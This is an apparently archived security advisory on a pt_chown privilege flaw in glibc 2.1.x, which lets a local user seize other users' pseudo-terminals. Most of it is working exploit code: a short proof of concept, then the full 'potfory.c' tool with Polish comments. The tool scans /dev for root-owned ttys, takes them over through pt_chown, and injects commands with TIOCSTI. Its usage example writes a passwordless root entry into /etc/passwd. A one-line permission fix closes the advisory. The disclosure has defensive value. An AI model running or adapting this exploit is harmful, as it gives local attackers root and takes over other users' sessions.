COMMAND

    glibc

SYSTEMS AFFECTED

    glibc 2.1.x

PROBLEM

    Michal Zalewski found followin that could lead to compromise  such
    as locally, privledges of  any user (including superuser)  running
    programs without  devpts support  compiled in  after glibc upgrade
    (like screen, mc etc).

    There's  a  bug  in  pt_chown  suid  helper program, supplied with
    glibc 2.1.x (tested  on default RH  6.0 distro).   This program is
    designed  to  allow  proper  allocation  of  pseudo-terminals  for
    non-suid  programs  in  systems  with  glibc  2.1.x installed, but
    without devpts  support compiled  into every  program (it's enough
    to have, let's say,  screen which uses traditional  /dev/ptyXX and
    /dev/ttyXX scheme). Due to  lack of security checks,  pt_chown can
    be easily fooled to gain  full control over other user's  (root as
    well) pseudo-terminal, as allocated by screen, Midnight Commander,
    or virtually any other program. All we need is an open  descriptor
    to /dev/ttyXX  (in read  or write  mode, no  matter) - while login
    uses secure permissions, ttys allocated  by eg. screen are 622  by
    default, so we  could gain write  access.  Then,  we have to  call
    pt_chown in  a proper  way to  gain ownership  of this device, and
    put anything we  want to the  input stream of  process controlling
    this pty using TIOCSTI ioctl()...

    Automated exploit code is attached (potfory.c).  Sorry for  polish
    comments, should  be readable  anyway?   If not,  there's 'primal'
    exploit for this hole:

    int main(int a,char* b[]) {
      char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
      int i=0,x=open(b[1],1); // Expect writable, allocated
                              // (eg. by screen) /dev/ttyXX as 1st arg
      if (x<0) {
        perror(b[1]);
        exit(1);
      }
      if (!fork()) {
        dup2(x,3);
        execl("/usr/libexec/pt_chown","pt_chown",0);
        perror("pt_chown");
        exit(1);
      }
      sleep(1);
      for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);
    }

    And the original code:

    // #define LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
    // release 2.0
    
    /*
    
      Marchew Hyperreal Industries . . . . . . . . .  marchew@dione.ids.pl
      Stumilowy Las Team . . . . . . . . . . . . 100milowy@wariaci.pdi.net
    
      ----------------------------[ PRESENTS ]----------------------------
    
	               D O M E K    N A    P O T F O R Y
                   glupi, ale skuteczny sploit na glibce 2.1
    
      -----------------------[ (c) lcamtuf@ids.pl ]-----------------------
      Y2K-compatible					      24/05/99
    
      TODO: w domku nie mam devptsfs'a, wiec nie ma supportu, ale zrobię,
            obiecuję...
    
      Zasada działania: wspaniały wynalazek pt. pt_chown, w który
      zaopatrzone są glibce 2.1 (RedHat 6.0), pozwala przejąć kontrolę
      nad ptysiami innych userów i przekazać dowolne polecenia programowi,
      który na tym ptysiu wisi. Warunek: na starcie musimy mieć jakiś
      dostęp do ptysia (+r albo +w), tak się składa że programy typu
      screen, mc itp dają nam szansę. Oczywiście sens w używaniu tego
      programiku na ptysie root'a i wysłaniu dowolnego polecenia do
      jego shella.
    
      Najprostszy przyklad użycia: odpalamy sploita na roota, czekamy aż
      rut sie zaloguje i odpali cos w stylu screena i bum. Używanie na
      innych useruf chyba nie ma większego sensu, poza tym jeśli screen
      nie ma suida, po prostu tracilibyśmy zbyt dużo czasu na ustalenie
      do kogo należy ptyś, więc sploit może nie zadziałać. W takim
      przypadku dopisanie '#define NALOT_ZMASOWANY 1' i wywołanie sploita
      dla roota spowoduje wysyłanie komendy na każdego ptysia, bez
      sprawdzania czy to np. właśnie niesuidowy screen.
    
      Nie spieszy się nikomu, więc /dev/tty?? są skanowane co 10 sekund.
      Jeśli ktoś chce, niech sobie zmieni LAG gdzieś niżej. Program i tak
      jest do zostawienia na dzień :P
    
      Gritz: ElCa, 100milowy, lam3rz, Nises, sopel, martinez, Nergal, etc.
    
    */
    
    // #define NALOT_ZMASOWANY 1
    
    #define MASKA_PTYSIA	0622
    #define LAG		10
    
    #include <sys/time.h>
    #include <sys/types.h>
    #include <dirent.h>
    #include <sys/fcntl.h>
    #include <sys/stat.h>
    #include <sys/select.h>
    #include <sys/signal.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <pwd.h>
    #include <string.h>
    
    #define BOLD  "\033[00;01m"
    #define NORM  "\033[00;00m"
    #define DARK  "\033[00;02m"
    #define BLINK "\033[05m"
    #define GREEN "\033[01;32m"
    #define RED   "\033[01;31m"
    #define YELL  "\033[01;33m"
    #define BLUE  "\033[00;36m"
    
    #ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
    #  define stat(a,b) _xstat(_STAT_VER,a,b)
    #  define fstat(a,b) _fxstat(_STAT_VER,a,b)
    #endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */
    
    int gupi_uid;
    char* jebum;
    
    
    void zuzycie(void) {
      printf(BOLD "Sposób zużycia: " BLUE "./potfory juzer 'polecenie'\n");
      printf(BOLD "   ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\""
                  " >>/etc/passwd;logout'" NORM "\n\n");
      exit(0);
    }
    
    
    int szukaj_uida(const char* login) {
      struct passwd* pw;
      setpwent();
      while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid;
      printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login);
      exit(0);
    }
    
    
    char* koniec="\n";
    
    int obwachaj_ptysia(struct dirent *s) {
      int i,q,z,w;
      struct stat a;
      if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1;
      close((i=open(s->d_name,O_RDONLY)));
      if (i>0) return -1;	// Blah, unused pty...
      s->d_name[0]='t';	// pty -> tty
      printf(DARK "[+] Przyglądam się " YELL "%s" DARK": " BLUE,s->d_name);
      stat(s->d_name,&a);
      if (a.st_uid!=gupi_uid) {
        printf("nie ten owner (%d).\n",a.st_uid);
        return -1;
      }
      printf("owner dobry");
      a.st_mode=a.st_mode&0666;
      if (a.st_mode!=MASKA_PTYSIA) {
    #ifndef ZMASOWANY_ATAK
        printf(", ale chyba to pomyłka (maska: %o).\n",a.st_mode);
        return -1;
    #else
        printf(" (zmasowany nalot)");
    #endif /* ZMASOWANY_ATAK */
      }
      i=open(s->d_name,O_WRONLY);
      if (i<0) {
        printf(", ale nie mam uprawnień.\n");
        return -1;
      }
      printf(" - " YELL "robimy swoje!\n" NORM);
    
      if (!(q=fork())) {
        dup2(i,3);
        execl("/usr/libexec/pt_chown","pt_chown",0);
        exit(1);
      }
    
      waitpid(q,&z,0);
    
      fstat(i,&a);
    
      if (a.st_uid!=getuid()) {
        printf("[+] Ech, coś nie wyszło z pt_chown'em :(\n");
        close(i);
        return -1;
      }
    
      printf(YELL "[+] Oki, trzymamy ptysia za jaja, ślemy komendę...\n");
    
      for (w=0;w<strlen(jebum);w++) ioctl(i,TIOCSTI,&jebum[w]);
      for (w=0;w<strlen(koniec);w++) ioctl(i,TIOCSTI,&koniec[w]);
    
      close(i);
    
      printf("\n" GREEN "Dziękujemy za lot z Marchew Hyperreal Industries :-)" NORM "\n\n");
    
      exit(0);
    }
    
    
    
    void robimy_burdel(void) {
      struct dirent **x;
      int a;
      printf(BLUE "[+] Czekam na ofiare [/dev/tty??] - sprawdzam co " YELL "%d" BLUE " sekund...\n",
             LAG);
      if (chdir("/dev")) {
        printf( RED "[+] Ki burak, nie mogę wejść do /dev...\n\n");
        exit(0);
      }
      while (1) {
        a=scandir(".",&x,obwachaj_ptysia,0);
        if (a<0) {
          printf( RED "[+] Buuuk, nie mogę przeskanować /dev...\n\n");
          exit(0);
        }
        sleep(LAG);
      }
    }
    
    
    int main(int argc,char* argv[]) {
      printf(BLUE "\nMarchew Hyperreal Industries " BOLD "oraz " GREEN "Stumilowy Las Team"
	     BOLD " prezentują:\n");
      printf( YELL BLINK "Domek Na Potfory " NORM "- gupi, ale skuteczny sploit na glibce 2.1\n");
      printf( DARK "Scenariusz, wystrój wnętrz i muzyka: " BOLD "<lcamtuf@ids.pl>\n");
      if (argc-3) zuzycie();
      gupi_uid=szukaj_uida(argv[1]);
      jebum=argv[2];
      printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n",
             gupi_uid,jebum);
      robimy_burdel();
      printf(NORM "\n");
      exit(0);
    }

SOLUTION

    chmod 700 /usr/libexec/pt_chown